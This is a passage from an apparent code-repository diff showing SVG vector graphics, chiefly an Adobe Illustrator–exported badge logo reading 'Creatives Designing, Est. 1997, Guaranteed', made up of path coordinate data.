h-1.8H23h-1.8h-1.8H5.1l5-20.8l-5-23.6h3.8H10.6z M162.5,157.7c-14.2,17.7-32.1,30.3-53.4,37.5c-0.8,0.3-1.6,0.5-2.4,0.8
c-0.7,0.2-1.3,0.4-2,0.6c-1.5-0.4-3-0.9-4.4-1.4C79,188,61,175.4,46.9,157.7c-9.1-11.4-16.7-24.8-22.6-40.2h5.9
c5.6,14,12.7,26.4,21.1,36.9c13.5,16.7,30.5,28.7,50.7,35.5c0.7,0.2,1.4,0.5,2.1,0.7l0.5,0.2l0.5-0.2c0.7-0.2,1.4-0.5,2.1-0.7
c20.2-6.8,37.2-18.7,50.7-35.5c8.4-10.5,15.5-22.8,21.1-36.9h5.9C179.2,132.9,171.6,146.3,162.5,157.7z M175.4,117.6
c-5.4,13.2-12.1,24.8-20,34.7c-13,16.2-29.6,27.8-49.1,34.4c-0.5,0.2-1,0.3-1.5,0.5c-0.5-0.2-1-0.3-1.5-0.5
C83.6,180,67.1,168.5,54,152.3c-7.9-9.9-14.7-21.5-20-34.7H175.4z"/>
<path fill="#2B292A" d="M15.5,95.3c0.1,0,0.2,0,0.2,0c0.5,0,1-0.2,1.4-0.5c0.5-0.4,0.7-1,0.7-1.6c0-1-0.7-1.9-1.6-2.1
c-0.2,0-0.3-0.1-0.5-0.1c-0.4,0-0.8,0.1-1.2,0.4c-0.6,0.4-1,1-1,1.8C13.6,94.3,14.4,95.2,15.5,95.3z"/>
<path fill="#2B292A" d="M186.4,95.1c0.3,0.2,0.7,0.3,1,0.3c1.2,0,2.2-1,2.2-2.2s-1-2.2-2.2-2.2c0,0,0,0,0,0c-1.2,0-2.1,1-2.1,2.2
C185.3,94,185.8,94.7,186.4,95.1z"/>
<path fill="#2B292A" d="M69.7,133.2c0.6,3.5,1.9,14.9,10.7,15.2c0,0,8,0.3,9.7,0c1.7-0.3,7.8-1.7,10.1-11c0,0,0.5-2.1,1.6-3.8
c1.4-2.1,4.6-2.1,6,0c1.1,1.7,1.6,3.8,1.6,3.8c2.3,9.3,8.4,10.7,10.1,11c1.7,0.3,9.7,0,9.7,0c8.8-0.2,10.1-11.7,10.7-15.2
c0.6-3.5,3.2-2.7,3.2-2.7v-6.3c-21.6-3.6-32,1-33.6,2c-0.4,0.3-0.9,0.5-1.5,0.6c-2.1,0.6-4.3,0.6-6.3,0c-0.6-0.2-1.1-0.4-1.5-0.6
c-1.6-1.1-12-5.7-33.6-2v6.3C66.5,130.5,69.1,129.7,69.7,133.2z M114.1,127.6c3.8-1.2,7.9-1.7,12.6-1.7c0.3,0,0.7,0,1,0
c3.9,0.1,6.6,1.1,8,3.2c1.1,1.6,1.2,3.5,1,4.8c-0.1,1.5-0.5,2.6-0.5,2.6l0,0l0,0c-0.4,1.8-0.9,3.3-1.5,4.6
c-0.9,1.9-2.4,4.1-5.6,4.2l0,0c0,0-3.5,0.1-6.3,0.1c-2.2,0-2.7-0.1-2.7-0.1c-3.5-0.7-5.9-3.2-7.9-8.6c-0.5-1.4-0.8-3.2-0.9-5.2
C111.2,129.7,112.4,128.1,114.1,127.6z M73.8,129c1.4-2,4.1-3.1,8-3.2c0.3,0,0.7,0,1,0c4.7,0,8.8,0.6,12.6,1.7
c1.7,0.5,2.9,2.1,2.8,3.9c0,2.1-0.3,3.8-0.9,5.2c-2.1,5.4-4.4,8-7.9,8.6c0,0-0.5,0.1-2.7,0.1c-2.8,0-6.3-0.1-6.3-0.1l0,0
c-3.2-0.1-4.6-2.3-5.6-4.2c-0.6-1.3-1.1-2.8-1.5-4.6l0,0l0,0c0,0-0.4-1.1-0.5-2.6C72.7,132.5,72.8,130.6,73.8,129z"/>
<path fill="#2B292A" d="M115.1,151.8c-3.8-3-7.6-2.2-9.9-1.2c-2.3-1-6.1-1.8-9.9,1.2c-6,4.7-12.4,2.2-12.5-0.6
c0,0-4.3,16.6,12.5,15.1c7.1-0.6,8.5-2.3,9.9-3.5c1.4,1.2,2.8,2.9,9.9,3.5c16.8,1.5,12.5-15.1,12.5-15.1
C127.4,154,121,156.5,115.1,151.8z"/>
<polygon fill="#2B292A" points="106.5,38.5 104.1,33.6 101.7,38.5 96.3,39.2 100.2,43.1 99.3,48.4 104.1,45.9 109,48.4 108,43.1
111.9,39.2 "/>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

+243
View File
@@ -0,0 +1,243 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 184.4 183.6" enable-background="new 0 0 184.4 183.6" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-542" y="-64.5" display="inline" fill="#FFFFFF" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<path fill="#2B292A" d="M10.4,97.5l-1.8,0.9c0.4,0.8,0.9,1.6,1.5,2.3c0.2,0.2,0.3,0.4,0.5,0.7l1.6-1.2c-0.2-0.2-0.4-0.5-0.5-0.7
C11.2,98.8,10.8,98.2,10.4,97.5z"/>
<path fill="#2B292A" d="M14.2,103.2l-1.7,1c0.6,1,1.1,2,1.5,3l1.8-0.8C15.3,105.2,14.8,104.2,14.2,103.2z"/>
<path fill="#2B292A" d="M17.1,109.6l-1.9,0.6c0.4,1.1,0.7,2.1,0.9,3.2l2-0.4C17.8,111.9,17.5,110.7,17.1,109.6z"/>
<path fill="#2B292A" d="M17.4,73l-1.9-0.6c-0.3,1.1-0.7,2.1-1.1,3.1l1.9,0.8C16.7,75.2,17.1,74.1,17.4,73z"/>
<path fill="#2B292A" d="M10.9,85.3l-1.7-1c-0.6,1.1-1.1,2.2-1.5,3.4l1.9,0.6C9.9,87.2,10.3,86.2,10.9,85.3z"/>
<path fill="#2B292A" d="M14.7,79.5l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.7,1.1C13.5,81.5,14.1,80.5,14.7,79.5z"/>
<path fill="#2B292A" d="M7.4,94.9l2-0.4c-0.2-0.9-0.3-1.8-0.3-2.7c0-0.2,0-0.3,0-0.5l-2-0.1c0,0.2,0,0.3,0,0.5
C7.1,92.8,7.2,93.9,7.4,94.9z"/>
<g>
<g>
<path fill="#2B292A" d="M34.7,101c-1.1,0-2.1-0.1-3-0.4c-0.9-0.3-1.6-0.7-2.1-1.2s-1-1.1-1.4-1.9s-0.6-1.5-0.7-2.4
c-0.1-0.8-0.2-1.8-0.2-2.9v-9c0-1.1,0.1-2.1,0.2-3c0.1-0.9,0.4-1.7,0.7-2.4c0.3-0.7,0.8-1.4,1.4-1.8c0.6-0.5,1.3-0.9,2.1-1.1
c0.8-0.3,1.8-0.4,3-0.4c1.3,0,2.4,0.2,3.3,0.5c0.9,0.3,1.6,0.8,2.2,1.5c0.5,0.7,0.9,1.4,1.2,2.3c0.2,0.9,0.4,1.9,0.4,3.1v2.2
h-4.6v-2.2c0-1.3-0.1-2.2-0.2-2.6c-0.3-0.9-0.9-1.3-2-1.4c-0.1,0-0.2,0-0.3,0c-0.4,0-0.7,0-1,0.1c-0.3,0.1-0.5,0.2-0.7,0.4
c-0.2,0.2-0.3,0.4-0.5,0.6c-0.1,0.2-0.2,0.5-0.3,0.9c-0.1,0.4-0.1,0.7-0.1,1c0,0.3,0,0.7,0,1.2v11c0,1.5,0.2,2.6,0.6,3.3
c0.4,0.6,1.1,1,2,1c0.3,0,0.6,0,0.9-0.1c0.3-0.1,0.5-0.2,0.6-0.3c0.2-0.1,0.3-0.3,0.4-0.5c0.1-0.2,0.2-0.4,0.3-0.6
s0.1-0.5,0.1-0.8c0-0.3,0-0.6,0.1-0.9c0-0.2,0-0.6,0-1v-2.3h4.6V93c0,1-0.1,1.8-0.2,2.6s-0.4,1.5-0.7,2.2
c-0.3,0.7-0.8,1.2-1.3,1.7s-1.2,0.8-2,1.1C36.7,100.8,35.8,101,34.7,101z"/>
<path fill="#2B292A" d="M45,100.6V74.7h5.9c1.4,0,2.5,0.1,3.5,0.3c1,0.2,1.8,0.6,2.6,1.1s1.3,1.2,1.6,2.1c0.4,0.9,0.5,2,0.5,3.3
c0,1.6-0.2,3-0.7,4c-0.5,1-1.3,1.8-2.4,2.3l3.6,12.8h-4.7l-3.1-11.8h-2.1v11.8H45z M49.7,85.8h1.1c1.4,0,2.4-0.3,3-0.9
s0.9-1.6,0.9-3c0-1.4-0.3-2.4-0.8-3c-0.5-0.6-1.4-0.9-2.8-0.9h-1.4V85.8z"/>
<path fill="#2B292A" d="M62.7,100.6V74.7h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H62.7z"/>
<path fill="#2B292A" d="M75,100.6l5.3-25.9h4.9l5.3,25.9h-4.4l-1-6h-4.5l-1.1,6H75z M81.1,91.5h3.5l-1.7-10.6L81.1,91.5z"/>
<path fill="#2B292A" d="M94.7,100.6V78.2h-4.3v-3.5h13.3v3.5h-4.2v22.4H94.7z"/>
<path fill="#2B292A" d="M105.8,100.6V74.7h4.7v25.9H105.8z"/>
<path fill="#2B292A" d="M118.5,100.6l-5.3-25.9h4.2l3.4,18l3.2-18h4.3l-5.3,25.9H118.5z"/>
<path fill="#2B292A" d="M131,100.6V74.7h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H131z"/>
<path fill="#2B292A" d="M151.2,101c-4.6,0-7-2.6-7.2-7.9l4.1-0.9c0.1,3.4,1.1,5.1,2.9,5.1c0.7,0,1.3-0.2,1.6-0.7
c0.3-0.4,0.5-1,0.5-1.8c0-0.7-0.1-1.4-0.4-2c-0.3-0.6-0.6-1.1-0.9-1.5c-0.3-0.4-0.8-0.9-1.5-1.4l-3.4-3c-1-0.9-1.7-1.8-2.2-2.7
c-0.5-0.9-0.7-2.1-0.7-3.5c0-2,0.6-3.6,1.8-4.7c1.2-1.1,2.8-1.7,4.9-1.7c0.9,0,1.8,0.1,2.5,0.4c0.7,0.2,1.3,0.6,1.8,1
c0.5,0.4,0.9,0.9,1.2,1.5s0.6,1.3,0.7,1.9s0.3,1.4,0.3,2.2l-4,0.8c0-0.5-0.1-1-0.1-1.4c0-0.4-0.1-0.8-0.2-1.2
c-0.1-0.4-0.3-0.7-0.4-1s-0.4-0.4-0.7-0.6s-0.7-0.2-1.1-0.2c-0.7,0-1.2,0.3-1.6,0.7c-0.4,0.4-0.6,1-0.6,1.7
c0,0.8,0.2,1.5,0.5,2.1c0.3,0.5,0.8,1.1,1.5,1.7l3.4,2.9c0.6,0.5,1.1,1,1.5,1.5s0.8,1,1.2,1.6c0.4,0.6,0.7,1.3,0.9,2
s0.3,1.5,0.3,2.3c0,1.9-0.6,3.4-1.8,4.6C154.7,100.4,153.1,101,151.2,101z"/>
</g>
<g>
<path fill="#2B292A" d="M54.7,131.2v-22.2h5.2c1.3,0,2.5,0.1,3.4,0.4c0.9,0.3,1.6,0.7,2.2,1.3c0.5,0.6,0.9,1.3,1.2,2.1
c0.2,0.8,0.3,1.9,0.3,3.1v8c0,1.3-0.1,2.3-0.3,3.2s-0.6,1.6-1.1,2.3c-0.5,0.6-1.2,1.1-2.1,1.4c-0.9,0.3-2,0.4-3.3,0.4H54.7z
M58.7,128.3h1.2c0.4,0,0.8,0,1.1-0.1c0.3-0.1,0.6-0.2,0.8-0.3c0.2-0.1,0.4-0.3,0.5-0.5s0.2-0.4,0.3-0.6
c0.1-0.2,0.1-0.5,0.2-0.9c0-0.4,0.1-0.7,0.1-1c0-0.3,0-0.7,0-1.2v-8.1c0-0.5,0-1,0-1.3c0-0.3-0.1-0.6-0.1-1
c-0.1-0.3-0.2-0.6-0.3-0.8c-0.1-0.2-0.3-0.3-0.5-0.5c-0.2-0.1-0.5-0.3-0.8-0.3c-0.3-0.1-0.7-0.1-1.2-0.1h-1.1V128.3z"/>
<path fill="#2B292A" d="M69.9,131.2v-22.2h9.3v2.9h-5.3v6.4h4.2v2.9h-4.2v7.3h5.3v2.8H69.9z"/>
<path fill="#2B292A" d="M87.2,131.4c-3.9,0-6-2.3-6.2-6.8l3.5-0.7c0.1,2.9,0.9,4.4,2.5,4.4c0.6,0,1.1-0.2,1.4-0.6
c0.3-0.4,0.4-0.9,0.4-1.5c0-0.6-0.1-1.2-0.3-1.7c-0.2-0.5-0.5-0.9-0.8-1.3s-0.7-0.7-1.3-1.2l-2.9-2.5c-0.9-0.8-1.5-1.5-1.9-2.3
c-0.4-0.8-0.6-1.8-0.6-3c0-1.7,0.5-3.1,1.5-4c1-1,2.4-1.4,4.2-1.5c0.8,0,1.5,0.1,2.2,0.3c0.6,0.2,1.1,0.5,1.5,0.8
c0.4,0.4,0.7,0.8,1,1.3c0.3,0.5,0.5,1.1,0.6,1.6c0.1,0.6,0.2,1.2,0.3,1.9l-3.5,0.7c0-0.4,0-0.8-0.1-1.2s-0.1-0.7-0.2-1
c-0.1-0.3-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.4-0.6-0.5c-0.3-0.1-0.6-0.2-0.9-0.1c-0.6,0-1.1,0.2-1.4,0.6s-0.5,0.8-0.5,1.5
c0,0.7,0.1,1.3,0.4,1.8c0.3,0.5,0.7,1,1.3,1.5l2.9,2.5c0.5,0.4,0.9,0.9,1.3,1.3c0.4,0.4,0.7,0.9,1,1.4c0.3,0.5,0.6,1.1,0.7,1.7
s0.3,1.3,0.3,2c0,1.6-0.5,2.9-1.5,3.9C90.2,130.9,88.9,131.4,87.2,131.4z"/>
<path fill="#2B292A" d="M95.3,131.2v-22.2h4v22.2H95.3z"/>
<path fill="#2B292A" d="M108.3,131.5c-2.1,0-3.6-0.7-4.5-2s-1.4-3.2-1.4-5.7v-7.2c0-1.3,0.1-2.4,0.3-3.3c0.2-0.9,0.5-1.7,1-2.4
c0.5-0.7,1.1-1.2,2-1.6c0.8-0.3,1.9-0.5,3.1-0.5c2.2,0,3.8,0.5,4.7,1.6c1,1.1,1.4,2.7,1.4,4.9v1.1H111v-1.2c0-0.5,0-0.9,0-1.2
c0-0.3-0.1-0.6-0.2-0.9c-0.1-0.3-0.2-0.6-0.4-0.7s-0.4-0.3-0.7-0.4c-0.3-0.1-0.6-0.2-1-0.2c-0.3,0-0.6,0-0.8,0.1
c-0.2,0.1-0.4,0.2-0.6,0.3c-0.2,0.1-0.3,0.3-0.4,0.5c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.4-0.1,0.7c0,0.3-0.1,0.6-0.1,0.8
c0,0.2,0,0.5,0,0.9v9c0,1.3,0.2,2.3,0.5,2.9c0.3,0.6,1,0.9,1.9,0.9c0.5,0,0.9-0.1,1.2-0.3c0.3-0.2,0.6-0.5,0.8-0.8
s0.3-0.8,0.4-1.3s0.1-1.1,0.1-1.7v-1.8h-2.4v-2.6h6.1v11.3h-2.6l-0.3-2.3C111.4,130.6,110.1,131.5,108.3,131.5z"/>
<path fill="#2B292A" d="M118,131.2v-22.2h2.8l5.4,12.6v-12.6h3.4v22.2H127l-5.5-13.2v13.2H118z"/>
</g>
<g>
<g>
<g>
<path fill="#2B292A" d="M53.5,42.2v1.2h-4.3v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.8v-7.9H53.5z"/>
<path fill="#2B292A" d="M57.8,43.4c-0.8,0-1.3,0.3-1.3,0.8c0,1.7,4.3,0.8,4.3,3.7c0,1.4-1.2,2.3-3,2.3c-1.2,0-2.4-0.5-3.2-1.3
l0.6-1.2c0.8,0.7,1.8,1.2,2.7,1.2c0.9,0,1.5-0.4,1.5-1c0-1.8-4.3-0.8-4.3-3.6c0-1.4,1.2-2.2,2.9-2.2c1,0,2,0.3,2.8,0.8
l-0.6,1.2C59.3,43.6,58.4,43.4,57.8,43.4z"/>
<path fill="#2B292A" d="M67.8,42.2v1.2h-2.5v6.7h-1.3v-6.7h-2.5v-1.2H67.8z"/>
<path fill="#2B292A" d="M69.2,49.5c0,0.4-0.3,0.8-0.7,0.8c-0.4,0-0.7-0.3-0.7-0.8c0-0.4,0.3-0.7,0.7-0.7
C68.9,48.7,69.2,49.1,69.2,49.5z"/>
</g>
</g>
<g>
<g>
<path fill="#2B292A" d="M113.8,42.2v7.9h-1.3v-6.7h-1.7v-1.2H113.8z"/>
<path fill="#2B292A" d="M119.5,49.1c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
C118.2,48.9,118.9,49.1,119.5,49.1z M118.2,44.8c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
C118.9,43.3,118.2,43.9,118.2,44.8z"/>
<path fill="#2B292A" d="M126.4,49.1c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
C125.2,48.9,125.8,49.1,126.4,49.1z M125.2,44.8c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
C125.8,43.3,125.2,43.9,125.2,44.8z"/>
<path fill="#2B292A" d="M137.1,42.2v1l-3.3,6.9h-1.4l3.3-6.7h-3.4l0,1.1H131v-2.3H137.1z"/>
</g>
</g>
</g>
<g>
<path fill="#2B292A" d="M57.5,146h1.2v3c-0.8,0.6-2,1-3.1,1c-2.4,0-4.2-1.8-4.2-4.1s1.9-4.1,4.3-4.1c1.2,0,2.3,0.4,3.1,1.1
l-0.8,1c-0.6-0.6-1.5-0.9-2.3-0.9c-1.6,0-2.9,1.3-2.9,2.9c0,1.6,1.3,2.9,3,2.9c0.6,0,1.3-0.2,1.9-0.6V146z"/>
<path fill="#2B292A" d="M64,148.8c1.3,0,2.1-0.8,2.1-2.2v-4.7h1.4v4.7c0,2.1-1.3,3.4-3.5,3.4c-2.2,0-3.5-1.3-3.5-3.4v-4.7h1.4
v4.7C61.8,148,62.7,148.8,64,148.8z"/>
<path fill="#2B292A" d="M74.4,148.1h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L74.4,148.1z M73.9,146.9l-1.5-3.6l-1.5,3.6
H73.9z"/>
<path fill="#2B292A" d="M82.8,150l-1.5-2.4c-0.1,0-0.2,0-0.4,0h-1.9v2.4h-1.4v-8.1H81c2.1,0,3.3,1,3.3,2.8
c0,1.3-0.6,2.2-1.7,2.6l1.8,2.7H82.8z M81,146.3c1.2,0,2-0.5,2-1.6c0-1.1-0.7-1.6-2-1.6h-1.9v3.2H81z"/>
<path fill="#2B292A" d="M91.3,148.1h-4.1l-0.8,1.8H85l3.6-8.1H90l3.5,8.1H92L91.3,148.1z M90.7,146.9l-1.5-3.6l-1.5,3.6H90.7z"
/>
<path fill="#2B292A" d="M95.9,141.9l4.3,5.8v-5.8h1.3v8.1h-1.3l-4.3-5.8v5.8h-1.4v-8.1H95.9z"/>
<path fill="#2B292A" d="M109.2,141.9v1.2h-2.6v6.9h-1.4v-6.9h-2.5v-1.2H109.2z"/>
<path fill="#2B292A" d="M116.1,141.9v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H116.1z"/>
<path fill="#2B292A" d="M123.7,141.9v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H123.7z"/>
<path fill="#2B292A" d="M133,145.9c0,2.3-1.8,4-4.2,4h-3.3v-8.1h3.3C131.2,141.9,133,143.6,133,145.9z M131.6,145.9
c0-1.6-1.2-2.8-2.8-2.8h-1.9v5.6h2C130.4,148.7,131.6,147.6,131.6,145.9z"/>
</g>
<path fill="#2B292A" d="M10.3,124.1c-0.6,4.7,0.3,9.3,2.6,13.4c2.4,4.1,5.9,7.2,10.3,9c6.4,2.6,11.6,7.8,14.3,14.3
c1.8,4.4,4.9,7.9,9,10.3c4.1,2.4,8.7,3.3,13.4,2.6c6.9-1,14,0.9,19.5,5.2c3.7,2.9,8.2,4.4,12.9,4.4c4.7,0,9.2-1.5,12.9-4.4
c5.5-4.3,12.6-6.2,19.5-5.2c4.7,0.6,9.3-0.3,13.4-2.6c4.1-2.4,7.2-5.9,9-10.3c2.6-6.4,7.8-11.6,14.3-14.3c4.4-1.8,7.9-4.9,10.3-9
c2.4-4.1,3.3-8.7,2.6-13.4c-1-6.9,0.9-14,5.2-19.5c2.9-3.7,4.4-8.2,4.4-12.9s-1.5-9.2-4.4-12.9c-4.3-5.5-6.2-12.6-5.2-19.5
c0.6-4.7-0.3-9.3-2.6-13.4c-2.4-4.1-5.9-7.2-10.3-9c-6.4-2.6-11.6-7.8-14.3-14.3c-1.8-4.4-4.9-7.9-9-10.3
c-4.1-2.4-8.7-3.3-13.4-2.6c-6.9,1-14-0.9-19.5-5.2c-3.7-2.9-8.2-4.4-12.9-4.4c-4.7,0-9.2,1.5-12.9,4.4
c-5.5,4.3-12.6,6.2-19.5,5.2c-4.7-0.6-9.3,0.3-13.4,2.6c-4.1,2.4-7.2,5.9-9,10.3c-2.6,6.4-7.8,11.6-14.3,14.3
c-4.4,1.8-7.9,4.9-10.3,9c-2.4,4.1-3.3,8.7-2.6,13.4c1,6.9-0.9,14-5.2,19.5C2.1,82.6,0.6,87,0.6,91.8s1.5,9.2,4.4,12.9
C9.3,110.2,11.2,117.3,10.3,124.1z M13.7,58.9c-0.5-3.9,0.2-7.8,2.2-11.2c2-3.4,4.9-6,8.6-7.5c7.3-3,13.2-8.9,16.2-16.2
c1.5-3.6,4.1-6.6,7.5-8.6c3.4-2,7.3-2.7,11.2-2.2c7.8,1.1,15.8-1.1,22.1-5.9c3.1-2.4,6.8-3.7,10.8-3.7s7.7,1.3,10.8,3.7
c6.2,4.8,14.3,7,22.1,5.9c3.9-0.5,7.8,0.2,11.2,2.2c3.4,2,6,4.9,7.5,8.6c3,7.3,8.9,13.2,16.2,16.2c3.6,1.5,6.6,4.1,8.6,7.5
s2.7,7.3,2.2,11.2c-1.1,7.8,1.1,15.8,5.9,22.1c2.4,3.1,3.7,6.8,3.7,10.8c0,3.9-1.3,7.7-3.7,10.8c-4.8,6.2-7,14.3-5.9,22.1
c0.5,3.9-0.2,7.8-2.2,11.2c-2,3.4-4.9,6-8.6,7.5c-7.3,3-13.2,8.9-16.2,16.2c-1.5,3.6-4.1,6.6-7.5,8.6c-3.4,2-7.3,2.7-11.2,2.2
c-7.8-1.1-15.8,1.1-22.1,5.9c-3.1,2.4-6.8,3.7-10.8,3.7s-7.7-1.3-10.8-3.7c-5.2-4-11.6-6.2-18.1-6.2c-1.3,0-2.7,0.1-4,0.3
c-3.9,0.5-7.8-0.2-11.2-2.2c-3.4-2-6-4.9-7.5-8.6c-3-7.3-8.9-13.2-16.2-16.2c-3.6-1.5-6.6-4.1-8.6-7.5c-2-3.4-2.7-7.3-2.2-11.2
c1.1-7.8-1.1-15.8-5.9-22.1c-2.4-3.1-3.7-6.8-3.7-10.8c0-3.9,1.3-7.7,3.7-10.8C12.6,74.8,14.8,66.7,13.7,58.9z"/>
<path fill="#2B292A" d="M118.9,165l0.1,2c1.1-0.1,2.2-0.1,3.3,0l0.1-2C121.3,164.9,120.1,165,118.9,165z"/>
<path fill="#2B292A" d="M125.7,18.2c1-0.1,2-0.2,3-0.1l0.2-2c-1.1-0.1-2.3-0.1-3.5,0.1l-0.2,0l0.3,2L125.7,18.2z"/>
<path fill="#2B292A" d="M18.9,120c0-1.2-0.1-2.4-0.2-3.5l-2,0.2c0.1,1.1,0.2,2.2,0.2,3.3L18.9,120z"/>
<path fill="#2B292A" d="M147.7,35.5c-0.8-0.8-1.5-1.6-2.2-2.5l-1.6,1.2c0.7,0.9,1.5,1.8,2.3,2.7L147.7,35.5z"/>
<path fill="#2B292A" d="M126,165.3l-0.2,2c0.6,0.1,1.1,0.1,1.7,0.1c0.7,0,1.3,0,2-0.1l-0.3-2C128.1,165.4,127,165.4,126,165.3z"
/>
<path fill="#2B292A" d="M141.9,31.4l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C140.6,29.4,141.2,30.4,141.9,31.4z"/>
<path fill="#2B292A" d="M140.5,24.3c-0.5-1.1-1.2-2.2-2-3.1l-1.5,1.3c0.7,0.8,1.3,1.7,1.7,2.7L140.5,24.3z"/>
<path fill="#2B292A" d="M18.6,125.3c0.1-0.6,0.1-1.1,0.2-1.7l-2-0.2c0,0.5-0.1,1.1-0.2,1.6c-0.1,0.6-0.1,1.3-0.1,1.9l2,0
C18.5,126.4,18.6,125.8,18.6,125.3z"/>
<path fill="#2B292A" d="M133.7,163.7c-0.5,0.3-1,0.5-1.5,0.7l0.8,1.9c0.6-0.2,1.2-0.5,1.7-0.8c0.5-0.3,1-0.6,1.5-1l-1.2-1.6
C134.6,163.2,134.1,163.5,133.7,163.7z"/>
<path fill="#2B292A" d="M134.6,20.4l1.1-1.7c-0.3-0.2-0.7-0.4-1-0.7c-0.7-0.4-1.5-0.8-2.2-1.1l-0.7,1.9c0.7,0.2,1.3,0.6,1.9,0.9
C134,20,134.3,20.2,134.6,20.4z"/>
<path fill="#2B292A" d="M43,153l-1.7,1c0.6,1,1.1,1.9,1.6,3l1.8-0.8C44.1,155.1,43.6,154,43,153z"/>
<path fill="#2B292A" d="M37.3,148.7c0.8,0.8,1.5,1.7,2.1,2.6L41,150c-0.7-0.9-1.5-1.9-2.3-2.7L37.3,148.7z"/>
<path fill="#2B292A" d="M16.9,130.6c0.3,1.2,0.8,2.3,1.4,3.4l1.8-1c-0.5-0.9-0.9-1.9-1.2-3L16.9,130.6z"/>
<path fill="#2B292A" d="M76.4,169.7c1,0.4,2,0.9,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L76.4,169.7z"/>
<path fill="#2B292A" d="M83.3,171.4l-1.2,1.6c0.4,0.3,0.7,0.5,1.1,0.8c0.6,0.5,1.2,0.9,1.9,1.2l1-1.8c-0.6-0.3-1.1-0.7-1.6-1.1
C84.1,171.9,83.7,171.6,83.3,171.4z"/>
<path fill="#2B292A" d="M44.3,160.2c0.6,1.1,1.4,2.1,2.2,2.9l1.4-1.4c-0.7-0.8-1.4-1.6-1.9-2.5L44.3,160.2z"/>
<path fill="#2B292A" d="M16.7,59.2c0.1,1.1,0.2,2.2,0.2,3.3l2,0c0-1.2-0.1-2.4-0.2-3.5L16.7,59.2z"/>
<path fill="#2B292A" d="M32.3,144.2c0.9,0.6,1.8,1.3,2.6,2.1l1.3-1.5c-0.9-0.8-1.8-1.5-2.8-2.2L32.3,144.2z"/>
<path fill="#2B292A" d="M20.4,137c0.8,0.9,1.8,1.7,2.8,2.4l1.1-1.7c-0.9-0.6-1.7-1.2-2.4-2L20.4,137z"/>
<path fill="#2B292A" d="M26.5,140.9c1,0.4,2,1,3,1.5l1-1.7c-1-0.6-2.1-1.1-3.2-1.6L26.5,140.9z"/>
<path fill="#2B292A" d="M172.9,99l1.6,1.2c0.7-1,1.3-2.1,1.7-3.3l-1.9-0.7C174.1,97.2,173.6,98.1,172.9,99z"/>
<path fill="#2B292A" d="M166.6,111.5l1.9,0.5c0.3-1.1,0.6-2.1,1-3.2l-1.9-0.7C167.3,109.2,166.9,110.4,166.6,111.5z"/>
<path fill="#2B292A" d="M88.5,176.4c1.2,0.3,2.4,0.5,3.7,0.5v-2c-1.1,0-2.1-0.1-3.2-0.4L88.5,176.4z"/>
<path fill="#2B292A" d="M144.2,148.8l1.6,1.3c0.7-0.9,1.5-1.7,2.2-2.5l-1.4-1.4C145.8,147,145,147.9,144.2,148.8z"/>
<path fill="#2B292A" d="M170.6,81.2l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C169.4,79.2,170,80.2,170.6,81.2z"/>
<path fill="#2B292A" d="M167.7,67.7c-0.2-1.1-0.3-2.2-0.3-3.3l-2,0.1c0.1,1.2,0.2,2.4,0.3,3.5L167.7,67.7z"/>
<path fill="#2B292A" d="M169.1,104.9l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C170.3,102.8,169.7,103.9,169.1,104.9z"/>
<path fill="#2B292A" d="M161.1,136.9l1.3,1.6c1-0.8,1.8-1.7,2.6-2.7l-1.6-1.2C162.6,135.4,161.9,136.2,161.1,136.9z"/>
<path fill="#2B292A" d="M164.9,131.8l1.9,0.8c0.5-1.1,0.8-2.3,1-3.6l-2-0.3C165.5,129.8,165.3,130.8,164.9,131.8z"/>
<path fill="#2B292A" d="M167.4,122l-2,0.1c0,1.1,0.1,2.2,0.3,3.3c0,0.1,0,0.2,0,0.3l2-0.2c0-0.1,0-0.2,0-0.3
C167.5,124,167.4,123,167.4,122z"/>
<path fill="#2B292A" d="M165.4,118.5l2,0.1c0.1-1.1,0.2-2.2,0.4-3.3l-2-0.3C165.6,116.1,165.5,117.3,165.4,118.5z"/>
